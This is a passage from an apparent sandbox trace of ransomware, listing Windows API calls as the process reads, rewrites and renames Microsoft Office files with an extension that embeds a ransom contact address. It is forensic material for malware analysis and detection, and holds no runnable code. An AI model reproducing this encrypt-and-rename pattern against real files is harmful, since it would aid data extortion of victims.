Office\\root\\Document Themes 16\\Theme Fonts\\Garamond.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\garamond.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\garamond.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0138.442] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.442] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fc6c | out: lpFindFileData=0x313fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdbd, dwReserved0=0xf800da22, dwReserved1=0x650072, cFileName="Garamond.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="GARAMO~1.FIR")) returned 0x6d5580 [0138.442] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0138.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\garamond.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0138.442] GetProcessHeap () returned 0x630000 [0138.442] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xdc1) returned 0x695ed0 [0138.442] GetProcessHeap () returned 0x630000 [0138.442] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xdc1) returned 0x7205a88 [0138.442] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.442] ReadFile (in: hFile=0x69c, lpBuffer=0x695ed0, nNumberOfBytesToRead=0xda0, lpNumberOfBytesRead=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x695ed0*, lpNumberOfBytesRead=0x313ff0c*=0xda0, lpOverlapped=0x0) returned 1 [0139.973] GetProcessHeap () returned 0x630000 [0139.973] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317950 [0139.973] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.973] WriteFile (in: hFile=0x69c, lpBuffer=0x7205a88*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7205a88*, lpNumberOfBytesWritten=0x313ff0c*=0xda0, lpOverlapped=0x0) returned 1 [0139.973] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.973] WriteFile (in: hFile=0x69c, lpBuffer=0x7206827*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7206827*, lpNumberOfBytesWritten=0x313ff0c*=0x20, lpOverlapped=0x0) returned 1 [0139.973] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.973] WriteFile (in: hFile=0x69c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x313ff0c*=0x4, lpOverlapped=0x0) returned 1 [0139.973] CloseHandle (hObject=0x69c) returned 1 [0139.973] GetProcessHeap () returned 0x630000 [0139.974] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7205a88 | out: hHeap=0x630000) returned 1 [0139.974] GetProcessHeap () returned 0x630000 [0139.974] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x695ed0 | out: hHeap=0x630000) returned 1 [0139.974] GetProcessHeap () returned 0x630000 [0139.974] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317950 | out: hHeap=0x630000) returned 1 [0139.974] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0139.974] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fcc4 | out: lpFindFileData=0x313fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1961d7c9, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xde1, dwReserved0=0xc3c7496, dwReserved1=0x695ec8, cFileName="Garamond.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="GARAMO~1.FIR")) returned 0x6d5440 [0139.974] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0139.974] Sleep (dwMilliseconds=0x1) [0140.884] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms", len=0x4f | out: pbstr=0x313ff7c*="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 1 [0140.884] GetProcessHeap () returned 0x630000 [0140.884] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7203db8, Size=0x1c70) returned 0x7203db8 [0140.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0142.703] CloseHandle (hObject=0x6a4) returned 1 [0142.703] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0142.703] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0142.709] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0142.709] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fc6c | out: lpFindFileData=0x313fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4a25005, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4a25005, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4ae3c90, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d3e, dwReserved0=0x780065, dwReserved1=0x6d0033, cFileName="MondoR_OEM_Perp-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MONDOR~1.FIR")) returned 0x6d5000 [0142.709] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0142.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0142.709] GetProcessHeap () returned 0x630000 [0142.709] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2d41) returned 0x718938 [0142.710] GetProcessHeap () returned 0x630000 [0142.710] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2d41) returned 0x71b688 [0142.710] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.710] ReadFile (in: hFile=0x6a4, lpBuffer=0x718938, nNumberOfBytesToRead=0x2d20, lpNumberOfBytesRead=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x718938*, lpNumberOfBytesRead=0x313ff0c*=0x2d20, lpOverlapped=0x0) returned 1 [0142.754] GetProcessHeap () returned 0x630000 [0142.754] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176f70 [0142.754] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.754] WriteFile (in: hFile=0x6a4, lpBuffer=0x71b688*, nNumberOfBytesToWrite=0x2d20, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71b688*, lpNumberOfBytesWritten=0x313ff0c*=0x2d20, lpOverlapped=0x0) returned 1 [0142.754] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.755] WriteFile (in: hFile=0x6a4, lpBuffer=0x71e3a7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71e3a7*, lpNumberOfBytesWritten=0x313ff0c*=0x20, lpOverlapped=0x0) returned 1 [0142.755] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.755] WriteFile (in: hFile=0x6a4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x313ff0c*=0x4, lpOverlapped=0x0) returned 1 [0142.755] CloseHandle (hObject=0x6a4) returned 1 [0142.755] GetProcessHeap () returned 0x630000 [0142.755] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71b688 | out: hHeap=0x630000) returned 1 [0142.755] GetProcessHeap () returned 0x630000 [0143.384] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x718938 | out: hHeap=0x630000) returned 1 [0143.384] GetProcessHeap () returned 0x630000 [0143.384] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176f70 | out: hHeap=0x630000) returned 1 [0143.865] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.865] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fcc4 | out: lpFindFileData=0x313fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4a25005, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4a25005, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b083b12, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2d62, dwReserved0=0xc3c7496, dwReserved1=0x718930, cFileName="MondoR_OEM_Perp-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MONDOR~1.FIR")) returned 0x6d52c0 [0143.865] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0143.865] Sleep (dwMilliseconds=0x1) [0143.870] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_COL.HXT", len=0x43 | out: pbstr=0x313ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_COL.HXT") returned 1 [0143.870] GetProcessHeap () returned 0x630000 [0143.870] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x269c) returned 0x71f7c78 [0143.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0145.429] CloseHandle (hObject=0x718) returned 1 [0145.429] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0145.429] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove_col.hxt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0148.809] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0148.809] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fc6c | out: lpFindFileData=0x313fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa3dba42, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa3dba42, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3dba42, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xda, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="GRDCF9~1.FIR")) returned 0x6d5280 [0148.809] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0148.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove_col.hxt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0148.809] GetProcessHeap () returned 0x630000 [0148.809] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x717ef8 [0148.809] GetProcessHeap () returned 0x630000 [0148.809] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x718588 [0148.809] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.809] ReadFile (in: hFile=0x718, lpBuffer=0x717ef8, nNumberOfBytesToRead=0xc0, lpNumberOfBytesRead=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x717ef8*, lpNumberOfBytesRead=0x313ff0c*=0xc0, lpOverlapped=0x0) returned 1 [0148.811] GetProcessHeap () returned 0x630000 [0148.811] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0148.811] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.811] WriteFile (in: hFile=0x718, lpBuffer=0x718588*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x718588*, lpNumberOfBytesWritten=0x313ff0c*=0xc0, lpOverlapped=0x0) returned 1 [0148.811] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.811] WriteFile (in: hFile=0x718, lpBuffer=0x718647*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x718647*, lpNumberOfBytesWritten=0x313ff0c*=0x20, lpOverlapped=0x0) returned 1 [0148.811] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.811] WriteFile (in: hFile=0x718, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x313ff0c*=0x4, lpOverlapped=0x0) returned 1 [0148.811] CloseHandle (hObject=0x718) returned 1 [0148.811] GetProcessHeap () returned 0x630000 [0148.811] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x718588 | out: hHeap=0x630000) returned 1 [0148.812] GetProcessHeap () returned 0x630000 [0148.812] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717ef8 | out: hHeap=0x630000) returned 1 [0148.812] GetProcessHeap () returned 0x630000 [0148.812] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0149.383] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0149.383] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fcc4 | out: lpFindFileData=0x313fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa3dba42, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa3dba42, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1ea63c64, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xfe, dwReserved0=0x313fd20, dwReserved1=0x717ef8, cFileName="GROOVE_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="GRDCF9~1.FIR")) returned 0x6d5380 [0149.383] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0149.383] Sleep (dwMilliseconds=0x1) [0149.388] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME54.CSS", len=0x4a | out: pbstr=0x313ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME54.CSS") returned 1 [0149.388] GetProcessHeap () returned 0x630000 [0149.388] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fa4e00, Size=0x2750) returned 0x6fa4e00 [0149.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME54.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme54.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0149.400] CloseHandle (hObject=0x4c0) returned 1 [0149.400] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0149.400] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME54.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme54.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME54.CSS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme54.css.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0149.405] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0149.405] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME54.CSS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fc6c | out: lpFindFileData=0x313fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xacf29e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xacf29e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f064, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME54.CSS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SCHEME~3.FIR")) returned 0x6d52c0 [0149.406] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0149.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME54.CSS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme54.css.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0149.407] GetProcessHeap () returned 0x630000 [0149.407] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x709a838 [0149.408] GetProcessHeap () returned 0x630000 [0149.408] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70a5c68 [0149.409] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.409] ReadFile (in: hFile=0x684, lpBuffer=0x709a838, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x709a838*, lpNumberOfBytesRead=0x313ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0156.089] GetProcessHeap () returned 0x630000 [0156.089] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177a60 [0156.089] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.089] WriteFile (in: hFile=0x684, lpBuffer=0x70a5c68*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70a5c68*, lpNumberOfBytesWritten=0x313ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0158.357] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.357] WriteFile (in: hFile=0x684, lpBuffer=0x70b1067*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70b1067*, lpNumberOfBytesWritten=0x313ff0c*=0x20, lpOverlapped=0x0) returned 1 [0158.357] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.358] WriteFile (in: hFile=0x684, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x313ff0c*=0x4, lpOverlapped=0x0) returned 1 [0158.358] CloseHandle (hObject=0x684) returned 1 [0158.358] GetProcessHeap () returned 0x630000 [0158.358] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70a5c68 | out: hHeap=0x630000) returned 1 [0158.358] GetProcessHeap () returned 0x630000 [0158.358] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x709a838 | out: hHeap=0x630000) returned 1 [0158.358] GetProcessHeap () returned 0x630000 [0158.358] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177a60 | out: hHeap=0x630000) returned 1 [0158.358] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0158.358] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME54.CSS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fcc4 | out: lpFindFileData=0x313fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xacf29e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24573470, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1f088, dwReserved0=0xc3c7496, dwReserved1=0x709a830, cFileName="SCHEME54.CSS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SCHEME~3.FIR")) returned 0x6d4ec0 [0158.358] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0158.358] Sleep (dwMilliseconds=0x1) [0161.056] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel 